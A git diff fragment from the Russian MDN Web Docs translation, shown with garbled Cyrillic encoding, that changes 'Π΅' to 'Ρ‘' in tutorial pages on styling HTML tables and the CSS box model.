+<p>Π’Π°ΠΊΠΆΠ΅ ΠΌΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ Π»ΠΈΠ½Π΅ΠΉΠ½Ρ‹ΠΉ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ для {{htmlelement("th")}} ΠΈΒ {{htmlelement("td")}} элСмСнтов Π²Π½ΡƒΡ‚Ρ€ΠΈΒ header ΠΈΒ footer для придания Π»Ρ‘Π³ΠΊΠΎΠΉ приятной тСкстуры, Π° Ρ‚Π°ΠΊΠΆΠ΅ установили этим элСмСнтам яркиС ΠΏΡƒΡ€ΠΏΡƒΡ€Π½Ρ‹Π΅ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹. ПолСзно ΠΈΠΌΠ΅Ρ‚ΡŒ нСсколько Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Ρ… элСмСнтов, это позволяСт Π½Π°ΠΊΠ»Π°Π΄Ρ‹Π²Π°Ρ‚ΡŒ нСсколько стилСй Π΄Ρ€ΡƒΠ³ Π½Π° Π΄Ρ€ΡƒΠ³Π°. Π”Π°, ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΈ Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΈΒ Π»ΠΈΠ½Π΅ΠΉΠ½Ρ‹ΠΉ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ Π½Π°Β {{htmlelement("thead")}} ΠΈ {{htmlelement("tfoot")}} элСмСнты ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ мноТСствСнныС фоновыС изобраТСния, Π½ΠΎ ΠΌΡ‹ Ρ€Π΅ΡˆΠΈΠ»ΠΈ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ для старых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds">нСсколько Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Ρ… ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ</a> ΠΈ <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/linear-gradient">Π»ΠΈΠ½Π΅ΠΉΠ½Ρ‹Π΅ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Ρ‹</a>.</p>
<h4 id="ΠŸΠΎΠ»ΠΎΡΠ°Ρ‚Π°Ρ_Π·Π΅Π±Ρ€Π°">ΠŸΠΎΠ»ΠΎΡΠ°Ρ‚Π°Ρ Π·Π΅Π±Ρ€Π°</h4>
@@ -233,8 +233,8 @@ table {
}</pre>
<ul>
- <li>Π Π°Π½Π΅Π΅ Π²Ρ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ ΠΊΠ°ΠΊΒ {{cssxref(":nth-child")}} сСлСктор использовался для Π²Ρ‹Π±ΠΎΡ€Π° спСцифичных Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов. Π’ качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π° Ρ„ΠΎΡ€ΠΌΡƒΠ»Π°, Ρ‚ΠΎΠ³Π΄Π° ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ элСмСнтов. Π’Π°ΠΊ Ρ„ΠΎΡ€ΠΌΡƒΠ»Π°Β <code>2n-1</code> выбСрСт всС Π½Π΅Ρ‡Π΅Ρ‚Π½Ρ‹Π΅ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты (1, 3, 5 ΠΈ Ρ‚.Π΄.), Π° Ρ„ΠΎΡ€ΠΌΡƒΠ»Π°Β <code>2n</code>Β Π²Ρ‹Π±Π΅Ρ€Π΅Ρ‚ всС Ρ‡Π΅Ρ‚Π½Ρ‹Π΅ (2, 4, 6 ΠΈ Ρ‚.Π΄.).Β ΠœΡ‹ использовали Π² нашСм ΠΊΠΎΠ΄Π΅ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова <code>odd</code> ΠΈ <code>even</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π΅Π»Π°ΡŽΡ‚ Ρ‚ΠΎΠΆΠ΅ самоС Ρ‡Ρ‚ΠΎ ΠΈ Ρ„ΠΎΡ€ΠΌΡƒΠ»Ρ‹ Π²Ρ‹ΡˆΠ΅.Β Π’ Π΄Π°Π½Π½ΠΎΠΌ случаС ΠΌΡ‹ устанавливаСм Ρ‡Π΅Ρ‚Π½Ρ‹ΠΌ ΠΈ Π½Π΅Ρ‡Π΅Ρ‚Π½Ρ‹ΠΌ строкам Ρ€Π°Π·Π½Ρ‹Π΅ (яркиС) Ρ†Π²Π΅Ρ‚Π°.</li>
- <li>Π•Ρ‰Π΅ ΠΌΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰ΠΈΠΉΡΡ ΠΏΠ»ΠΈΡ‚ΠΊΠΎΠΉ Ρ„ΠΎΠ½ ΠΊΠΎ всСм строкам Ρ‚Π΅Π»Π° Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ добавляСт Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΡˆΡƒΠΌΠ° (ΠΏΠΎΠ»ΡƒΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉΒ <code>.png</code> с нСбольшим количСством Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½Ρ‹Ρ… искаТСний Π½Π° Π½Π΅ΠΌ), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»Π°ΡΡŒ нСкоторая тСкстура.</li>
+ <li>Π Π°Π½Π΅Π΅ Π²Ρ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ ΠΊΠ°ΠΊΒ {{cssxref(":nth-child")}} сСлСктор использовался для Π²Ρ‹Π±ΠΎΡ€Π° спСцифичных Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов. Π’ качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π° Ρ„ΠΎΡ€ΠΌΡƒΠ»Π°, Ρ‚ΠΎΠ³Π΄Π° ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ элСмСнтов. Π’Π°ΠΊ Ρ„ΠΎΡ€ΠΌΡƒΠ»Π°Β <code>2n-1</code> выбСрСт всС Π½Π΅Ρ‡Ρ‘Ρ‚Π½Ρ‹Π΅ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты (1, 3, 5 ΠΈ Ρ‚.Π΄.), Π° Ρ„ΠΎΡ€ΠΌΡƒΠ»Π°Β <code>2n</code>Β Π²Ρ‹Π±Π΅Ρ€Π΅Ρ‚ всС Ρ‡Ρ‘Ρ‚Π½Ρ‹Π΅ (2, 4, 6 ΠΈ Ρ‚.Π΄.).Β ΠœΡ‹ использовали Π² нашСм ΠΊΠΎΠ΄Π΅ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова <code>odd</code> ΠΈ <code>even</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π΅Π»Π°ΡŽΡ‚ Ρ‚ΠΎΠΆΠ΅ самоС Ρ‡Ρ‚ΠΎ ΠΈ Ρ„ΠΎΡ€ΠΌΡƒΠ»Ρ‹ Π²Ρ‹ΡˆΠ΅.Β Π’ Π΄Π°Π½Π½ΠΎΠΌ случаС ΠΌΡ‹ устанавливаСм Ρ‡Ρ‘Ρ‚Π½Ρ‹ΠΌ ΠΈ Π½Π΅Ρ‡Ρ‘Ρ‚Π½Ρ‹ΠΌ строкам Ρ€Π°Π·Π½Ρ‹Π΅ (яркиС) Ρ†Π²Π΅Ρ‚Π°.</li>
+ <li>Π•Ρ‰Ρ‘ ΠΌΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰ΠΈΠΉΡΡ ΠΏΠ»ΠΈΡ‚ΠΊΠΎΠΉ Ρ„ΠΎΠ½ ΠΊΠΎ всСм строкам Ρ‚Π΅Π»Π° Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ добавляСт Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΡˆΡƒΠΌΠ° (ΠΏΠΎΠ»ΡƒΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉΒ <code>.png</code> с нСбольшим количСством Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½Ρ‹Ρ… искаТСний Π½Π° Π½Π΅ΠΌ), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»Π°ΡΡŒ нСкоторая тСкстура.</li>
<li>И Π½Π°ΠΊΠΎΠ½Π΅Ρ† ΠΌΡ‹ установили для Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ сплошной Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ обСспСчит Ρ„ΠΎΠ½ строкам Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ Π² Ρ‚ΠΎΠΌ случаС Ссли браузСр нС поддСрТиваСт сСлСктор <code>:nth-child</code>.</li>
</ul>
@@ -258,7 +258,7 @@ table {
letter-spacing: 1px;
}</pre>
-<p>Π—Π΄Π΅ΡΡŒ Π½Π΅Ρ‚ Π½ΠΈΡ‡Π΅Π³ΠΎ особСнного, ΠΊΡ€ΠΎΠΌΠ΅ свойства {{cssxref("caption-side")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>bottom</code>. Π’ этом случаС Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ Π²Π½ΠΈΠ·Ρƒ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ ΠΈ это вмСстС со всСм ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹ΠΌ обСспСчиваСт нашСй Ρ‚Π°Π±Π»ΠΈΡ†Π΅ ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Π²ΠΈΠ΄Β (ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΏΠΎ ссылкС <a href="http://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-complete.html">punk-bands-complete.html</a>):</p>
+<p>Π—Π΄Π΅ΡΡŒ Π½Π΅Ρ‚ Π½ΠΈΡ‡Π΅Π³ΠΎ особСнного, ΠΊΡ€ΠΎΠΌΠ΅ свойства {{cssxref("caption-side")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>bottom</code>. Π’ этом случаС Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ‰Ρ‘Π½ Π²Π½ΠΈΠ·Ρƒ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ ΠΈ это вмСстС со всСм ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹ΠΌ обСспСчиваСт нашСй Ρ‚Π°Π±Π»ΠΈΡ†Π΅ ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Π²ΠΈΠ΄Β (ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΏΠΎ ссылкС <a href="http://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-complete.html">punk-bands-complete.html</a>):</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/13076/table-with-caption.png" style="display: block; height: 357px; margin: 0px auto; width: 723px;"></p>
@@ -274,14 +274,14 @@ table {
<li>Π‘Π΄Π΅Π»Π°ΠΉΡ‚Π΅ свою Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ простой ΠΈ Π³ΠΈΠ±ΠΊΠΎΠΉ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ для этого ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Ρ‹, Ρ‡Ρ‚ΠΎ сдСлаСт Π΄ΠΈΠ·Π°ΠΉΠ½ Π±ΠΎΠ»Π΅Π΅ ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΌ.</li>
<li>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ {{cssxref("table-layout")}}<code>: fixed</code> для Π±ΠΎΠ»Π΅Π΅ понятного повСдСния Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, ΠΏΡ€ΠΈ этом Π»Π΅Π³ΠΊΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΡˆΠΈΡ€ΠΈΠ½Ρƒ столбцов, установив ΡˆΠΈΡ€ΠΈΠ½Ρƒ {{cssxref("width")}} для заголовков Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹Β ({{htmlelement("th")}}).</li>
<li>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ {{cssxref("border-collapse")}}<code>: collapse</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ схлопнСт границы элСмСнтов Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, Ρ‡Ρ‚ΠΎ обСспСчит Π°ΠΊΠΊΡƒΡ€Π°Ρ‚Π½Ρ‹ΠΉ внСшний Π²ΠΈΠ΄.</li>
- <li>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ {{htmlelement("thead")}}, {{htmlelement("tbody")}} ΠΈΒ {{htmlelement("tfoot")}} Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·Π±ΠΈΡ‚ΡŒ Π²Π°ΡˆΡƒ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ Π½Π° логичСскиС Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹ ΠΈ прСдоставив Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Ρ‚ΠΎΡ‡ΠΊΠΈ для примСнСния CSS, это Π΄Π°Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π½Π°ΠΊΠ»Π°Π΄Ρ‹Π²Π°Ρ‚ΡŒ стили Π΄Ρ€ΡƒΠ³ Π½Π° Π΄Ρ€ΡƒΠ³Π°, Ссли это Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ.</li>
+ <li>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ {{htmlelement("thead")}}, {{htmlelement("tbody")}} ΠΈΒ {{htmlelement("tfoot")}} Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·Π±ΠΈΡ‚ΡŒ Π²Π°ΡˆΡƒ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ Π½Π° логичСскиС Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹ ΠΈ прСдоставив Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Ρ‚ΠΎΡ‡ΠΊΠΈ для примСнСния CSS, это Π΄Π°Ρ‘Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π½Π°ΠΊΠ»Π°Π΄Ρ‹Π²Π°Ρ‚ΡŒ стили Π΄Ρ€ΡƒΠ³ Π½Π° Π΄Ρ€ΡƒΠ³Π°, Ссли это Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ.</li>
<li>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ полоски Π·Π΅Π±Ρ€Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π»Π΅Π³Ρ‡ΠΈΡ‚ΡŒ Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ ΠΌΠ΅ΠΆΠ΄Ρƒ строк.</li>
<li>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ {{cssxref("text-align")}} Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Ρ€ΠΎΠ²Π½ΡΡ‚ΡŒ тСкст Π²Β {{htmlelement("th")}} ΠΈ {{htmlelement("td")}} для Π±ΠΎΠ»Π΅Π΅ Π°ΠΊΠΊΡƒΡ€Π°Ρ‚Π½ΠΎΠ³ΠΎ ΠΈ ΡƒΠ΄ΠΎΠ±Π½ΠΎΠ³ΠΎ оформлСния.</li>
</ul>
<h2 id="Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅">Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅</h2>
-<p>НСсмотря Π½Π° Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΡ€ΡƒΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ успСхи достигнутыС Π² стилизации Ρ‚Π°Π±Π»ΠΈΡ†, Ρƒ нас Π΅ΡΡ‚ΡŒ Π΅Ρ‰Π΅ ΠΊΠΎΠ΅-Ρ‡Ρ‚ΠΎ Ρ‡Π΅ΠΌ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌΒ Π·Π°Π½ΡΡ‚ΡŒ нашС врСмя.Β Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Π³Π»Π°Π²Π΅ ΠΌΡ‹ рассмотрим нСкоторыС ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹Π΅ эффСкты, ΡƒΠΆΠ΅ ΡƒΡΡ‚ΠΎΡΠ²ΡˆΠΈΠ΅ΡΡ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‚Π΅Π½ΠΈ box shadows) ΠΈ Ρ‚Π΅ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π΅Π΄Π°Π²Π½ΠΎ появились Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Ρ€Π΅ΠΆΠΈΠΌΡ‹ налоТСния blend-modeΒ ΠΈ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Ρ‹.</p>
+<p>НСсмотря Π½Π° Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΡ€ΡƒΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ успСхи достигнутыС Π² стилизации Ρ‚Π°Π±Π»ΠΈΡ†, Ρƒ нас Π΅ΡΡ‚ΡŒ Π΅Ρ‰Ρ‘ ΠΊΠΎΠ΅-Ρ‡Ρ‚ΠΎ Ρ‡Π΅ΠΌ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌΒ Π·Π°Π½ΡΡ‚ΡŒ нашС врСмя.Β Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Π³Π»Π°Π²Π΅ ΠΌΡ‹ рассмотрим нСкоторыС ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹Π΅ эффСкты, ΡƒΠΆΠ΅ ΡƒΡΡ‚ΠΎΡΠ²ΡˆΠΈΠ΅ΡΡ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‚Π΅Π½ΠΈ box shadows) ΠΈ Ρ‚Π΅ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π΅Π΄Π°Π²Π½ΠΎ появились Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Ρ€Π΅ΠΆΠΈΠΌΡ‹ налоТСния blend-modeΒ ΠΈ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Ρ‹.</p>
<p>{{PreviousMenuNext("Learn/CSS/Styling_boxes/Borders", "Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes")}}</p>
diff --git a/files/ru/learn/css/building_blocks/the_box_model/index.html b/files/ru/learn/css/building_blocks/the_box_model/index.html
index 19fb0e66d7..96ba3fb315 100644
--- a/files/ru/learn/css/building_blocks/the_box_model/index.html
+++ b/files/ru/learn/css/building_blocks/the_box_model/index.html
@@ -99,7 +99,7 @@ translation_of: Learn/CSS/Building_blocks/The_box_model
<h2 id="Π§Ρ‚ΠΎ_Ρ‚Π°ΠΊΠΎΠ΅_модСль_ΠΊΠΎΡ€ΠΎΠ±ΠΊΠΈ_CSS">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ модСль ΠΊΠΎΡ€ΠΎΠ±ΠΊΠΈ CSS?</h2>
-<p>ΠŸΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ блочная модСль Π² CSS примСняСтся ΠΊ Π±Π»ΠΎΡ‡Π½Ρ‹ΠΌ элСмСнтам, строчныС элСмСнты ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Π½Π΅ всС свойства, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π±Π»ΠΎΡ‡Π½ΠΎΠΉ модСлью. МодСль опрСдСляСт, ΠΊΠ°ΠΊ Ρ€Π°Π·Π½Ρ‹Π΅ части элСмСнта β€” поля, Π³Ρ€Π°Π½ΠΈΡ†Ρ‹, отступы ΠΈ содСрТимоС β€” Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ вмСстС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π½Π° страницС. Π§Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΡΠ»ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ элСмСнту, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ стандартныС ΠΈ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹Π΅ Π±Π»ΠΎΡ‡Π½Ρ‹Π΅ ΠΌΠΎΠ΄Π΅Π»ΠΈ.</p>
+<p>ΠŸΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ блочная модСль Π² CSS примСняСтся ΠΊ Π±Π»ΠΎΡ‡Π½Ρ‹ΠΌ элСмСнтам, строчныС элСмСнты ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Π½Π΅ всС свойства, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π±Π»ΠΎΡ‡Π½ΠΎΠΉ модСлью. МодСль опрСдСляСт, ΠΊΠ°ΠΊ Ρ€Π°Π·Π½Ρ‹Π΅ части элСмСнта β€” поля, Π³Ρ€Π°Π½ΠΈΡ†Ρ‹, отступы ΠΈ содСрТимоС β€” Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ вмСстС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π½Π° страницС. Π§Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΡΠ»ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ элСмСнту, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ стандартныС ΠΈ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹Π΅ Π±Π»ΠΎΡ‡Π½Ρ‹Π΅ ΠΌΠΎΠ΄Π΅Π»ΠΈ.</p>
<h3 id="Π‘ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅_элСмСнта">Π‘ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅ элСмСнта</h3>
@@ -151,7 +151,7 @@ translation_of: Learn/CSS/Building_blocks/The_box_model
box-sizing: border-box;
} </code></pre>
-<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ всС ваши элСмСнты использовали Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½ΡƒΡŽ Π±Π»ΠΎΡ‡Π½ΡƒΡŽ модСль, Ρ‡Ρ‚ΠΎ являСтся распространСнным Π²Ρ‹Π±ΠΎΡ€ΠΎΠΌ срСди Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ², установитС свойство <code>box-sizing</code> для элСмСнта <code>&lt;html&gt;</code>, Π·Π°Ρ‚Π΅ΠΌ настройтС всС элСмСнты для наслСдования этого значСния (inherit), ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½Π° Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π΅ Π½ΠΈΠΆΠ΅. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΠ½ΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ стоит Π·Π° этим, смотритС ΡΡ‚Π°Ρ‚ΡŒΡŽ <a href="https://css-tricks.com/inheriting-box-sizing-probably-slightly-better-best-practice/">the CSS Tricks article on box-sizing</a>.</p>
